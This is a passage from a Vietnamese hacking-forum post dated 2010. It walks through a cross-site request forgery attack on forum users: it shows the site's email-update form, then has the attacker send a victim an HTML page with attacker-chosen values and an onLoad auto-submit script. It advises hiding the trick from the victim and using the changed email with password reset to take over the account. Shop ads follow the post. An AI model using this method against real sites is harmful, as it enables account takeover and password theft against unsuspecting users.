- Cách 3: không cần tìm lỗi forum mà tìm cách "nhờ" user sử dụng các option của user này theo ý mình, hi`.
4. Sử dụng cách 3:
4.1. Tìm hiểu về cách hoạt động của form:
VD khi user sử dụng update email option thì form sẽ có dạng:
<form method="post" action="update.php">
<input type="text" name="email" value="user@email.com">
<input type="submit" name="but" value="send">
</form>
khi data được gửi = form trên tới server thì server sẽ check xem user nào gửi tới + right to update của user đó rồi thực hiện request.
4.2. Làm sao "nhờ" user sử dụng form trên theo ý mình?
Gửi cho user một html page trong đó có:
+ form trên nhưng các value của input theo ý mình
+ sử dụng thêm hàm auto submit form để khi user mở html file này thì form sẽ tự động submit, tag này có dạng:
<body onLoad="document.forms[0].submit();">
+ nên sử dụng thêm một vài tiểu xảo che mắt user, không cho user biết là option của mình đã bị sử dụng trái phép <-- tự tìm hiểu.
5. Kết quả: vì request này được gửi đi từ máy user + thêm đk cần là user đang online nên session/cookies check đều ok. Request vẫn được thực hiện kể cả user không online nhưng để chế độ nhớ password. Ở vd trên ta đã update được user email, từ đó dùng option forgot pass để lấy password của user này (cái này ai cũng biết )
6. Ưu nhược điểm:

- Ưu điểm: phương pháp đơn giản, chỉ dựa trên nguyên tắc hoạt động thông thường của form <-- không phải là lỗi bảo mật. Có thể
Chừng này đủ cho anh em đọc mệt nghỉ rồi.Hẹn gặp lần sau
Chúc các bạn thành công !

Ngày gửi: 29/12/2010 - 15:17
Trả lời

Sản phẩm tham khảo tại cửa hàng.

Tên miền .vn
825.000 VNĐ
Tên miền .com.vn
699.000 VNĐ

Đang được quan tâm nhất

Những thành viên tích cực trong tháng
(2 lượt cảm ơn)
(1 lượt cảm ơn)
(1 lượt cảm ơn)
(1 lượt cảm ơn)
(1 lượt cảm ơn)
(2 lượt cảm ơn)
Quảng cáo
Cucre_hn
cucreHCM_